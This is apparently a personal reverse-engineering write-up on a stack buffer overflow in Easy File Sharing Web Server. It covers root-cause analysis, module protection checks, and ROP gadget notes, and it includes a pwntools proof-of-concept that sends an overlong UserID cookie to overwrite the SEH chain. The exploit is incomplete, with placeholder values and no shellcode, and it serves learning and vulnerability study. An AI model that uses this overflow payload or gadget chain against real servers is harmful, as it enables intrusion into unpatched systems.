---
# System prepended metadata

title: Lets learn Reverse Engineer 2!
tags: [pwn, windows, reverse engineering]

---

# Lets learn Reverse Engineer 2!

###### tags: `reverse engineering`, `windows`, `pwn`

This time, I will be doing RE on Easy File Sharing Webserver.

It can be downloaded here:
[https://www.exploit-db.com/exploits/44485
](https://)


We start by tracing the recv input.
```
bp ws2_32!WSArecv
```

## RE Documentation

1) At `0x415063`, scans for frmUserName in the http request. Offset to string is returned in eax.

    The check seems to be done at `0x4FA250`. 

2) Initially, Username and Password are pass through http request as UserId and Passwd.

    At `052D857`, userId and Passwd is changed to frmUserName and frmUserPass. It is copied into the heap here.

```
004fc323 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
```

3) As the binary is too big, I decided to do some fuzzing. The crash is easy to trigger. I copy and paste the HTTP request from WireShark. And then increase the len for one of the parameters (in this case, userID)

![](https://i.imgur.com/X447oCc.png)

Nice, we got a crash, and exchain has been overwritten.

However, lets get down to the bottom of this, why is it crashing.

## Root Cause Analysis

After narrowing down, the crash is when the database is preparing its SQL statement (`0049759E` and `0049758A`)

At `0049758a`, the prepare statement is copied onto the stack. 

`0049758a` -> `00500640` -> `00500E44` -> `00500DDE`

Damn, this stack buffer overflow is nicely obfuscated. The stack is written one character by one character in the highlighted line below, where **edx** is pointing to somewhere on the stack.

![](https://i.imgur.com/C7yjrfa.png)

![](https://i.imgur.com/C8yiJfm.png)

Final decompiled version of the vulnerability is here.
```
int __cdecl write_string(int a1, int length_to_write, FILE *poi_UserBuffer, int a4)
{
  int result; // eax
  int i; // ebx
  int UserBufferChar; // eax

  result = length_to_write;
  for ( i = length_to_write - 1; result > 0; result = i-- )
  {
    UserBufferChar = *(char *)a1++;
    result = write_char(UserBufferChar, poi_UserBuffer, a4);
    if ( *(_DWORD *)a4 == -1 )
      break;
  }
  return result;
}
```

This vuln is much easier to find if we fuzz it...

I guessing the learning point for this exercise is to take note of places that write into **stack** even though it is **written one character by one character**!

## DEP Bypass

Output of `!load narly` and `!nmod`
```
00400000 005c2000 fsws                 /SafeSEH OFF                C:\EFS Software\Easy File Sharing Web Server\fsws.exe
00730000 00775000 SSLEAY32             /SafeSEH ON  /GS            C:\EFS Software\Easy File Sharing Web Server\SSLEAY32.dll
00a90000 00ba7000 LIBEAY32             /SafeSEH OFF                C:\EFS Software\Easy File Sharing Web Server\LIBEAY32.dll
10000000 10050000 ImageLoad            /SafeSEH OFF                C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll
61c00000 61c99000 sqlite3              /SafeSEH OFF                C:\EFS Software\Easy File Sharing Web Server\sqlite3.dll
```

ImageLoad and SQLite dlls are not compiled with ASLR, using these DLLs will allow us to bypass ASLR. 

### Failed Attempt in going the SEH way...

I found a few useful gadgets in ImageLoad dll but sadly there are NULL characters inside... 

In order to do **SEH+DEP bypass**, we need to do a **stack pivot**. Gadgets usually look something like this:
`mov eax, esp+XXX; call [eax+XXX]`, where eax points to some second gadget in your buffer. The second gadget will then do a `xchg eax, esp` for example.

Documentating some useful gadgets I found:
1) POPAD -> eax and ebp actually contain the address to buffer!!
2) Look for gadgets around +/- of ebp and esp. There are actually a lot of the buffer address in the stack.
3) Jmp dword [reg]
4) 

### Challenges

1) Doing ROP with SQLite.dll is quite a failure. Most of the gadgets end with `leave; ret`. This basically `mov esp, ebp`, and mess up the stack frame...
2) Even the ROP gadgets in ImageLoad.dll are bad too...



After running the below exploitation POC for a few times, I noticed the ESP is the following values in the different crashes.

### Crashed esp values
```
02ea72a4 
02e772a4 
02e072a4 
02d972a4 
070972a4 
02c172a4 
```

### Exploitation POC
```
from pwn import *

p = remote("192.168.106.136", 80)

#Bad char = \x3B

HTTPReq = b""
HTTPReq += b"POST /forum.ghp HTTP/1.1\r\n"
HTTPReq += b"Host: 192.168.106.136\r\n"
HTTPReq += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n"
HTTPReq += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
HTTPReq += b"Accept-Language: en-US,en;q=0.5\r\n"
HTTPReq += b"Accept-Encoding: gzip, deflate\r\n"
HTTPReq += b"Content-Type: application/x-www-form-urlencoded\r\n"
HTTPReq += b"Content-Length: 86\r\n"
HTTPReq += b"Origin: http://192.168.106.136\r\n"
HTTPReq += b"Connection: keep-alive\r\n"
HTTPReq += b"Referer: http://192.168.106.136/login.htm\r\n"
HTTPReq += b"Cookie: SESSIONID=31069; UserID="

payload = b"\x41" * 4071
payload += p32(0xCCCCCCCC)	#0x100238cc: push esp ; and al, 0x10 ; pop esi ; mov dword [edx], ecx ; ret  ;  (1 found)

payload += b"\x42" * 40

HTTPReq += payload
HTTPReq += b"; PassWD=bbbbbbbbbbbbbbbbbbbbbbbbbbbb; frmUserName=; frmUserPass=; rememberPass=202%2C197%2C208%2C215%2C201\r\n"
HTTPReq += b"Upgrade-Insecure-Requests: 1\r\n"
HTTPReq += b"\r\n"
HTTPReq += b"frmLogin4app=true&frmLogin=true&frmUserName=aaaa&frmUserPass=bbbbbb&login=Login%21\r\n"

p.sendline(HTTPReq)

p.interactive()
```

## Exploitation Technique?

One way I thought of is to do brute forcing of the stack value since usually in a stack overflow, we also overwrites into ebp. Sadly, this is not the case... Looking at the registers, thankfully, we have ecx!

![](https://i.imgur.com/owZF3um.png)

So we can overwrite ecx with a **predicted stack value** then using the following gadgets, we can jump into our real ROP chain.

```
0x1001fa0d: mov eax, ecx ; ret  ;  (1 found)
0x61c05e59: xchg eax, esp ; ret  ;  (1 found)
```

I have uploaded the dll and rop file onto github. If anyone who reads this and is able to generate a good ROP chain, I would love to exchange some ideas with you. 

Links below:
https://github.com/cddc12346/RandomCTFs/tree/master/Some%20notes%20on%20Windows%20Internals/I%20Love%20RE/Easy%20File%20Sharing%20Web%20Server

# Takeaway
1) **As usual**, always take note of places that write into **stack**. 
2) Play with **Flirt** Signature, might allow you to identify some calls.
3) 





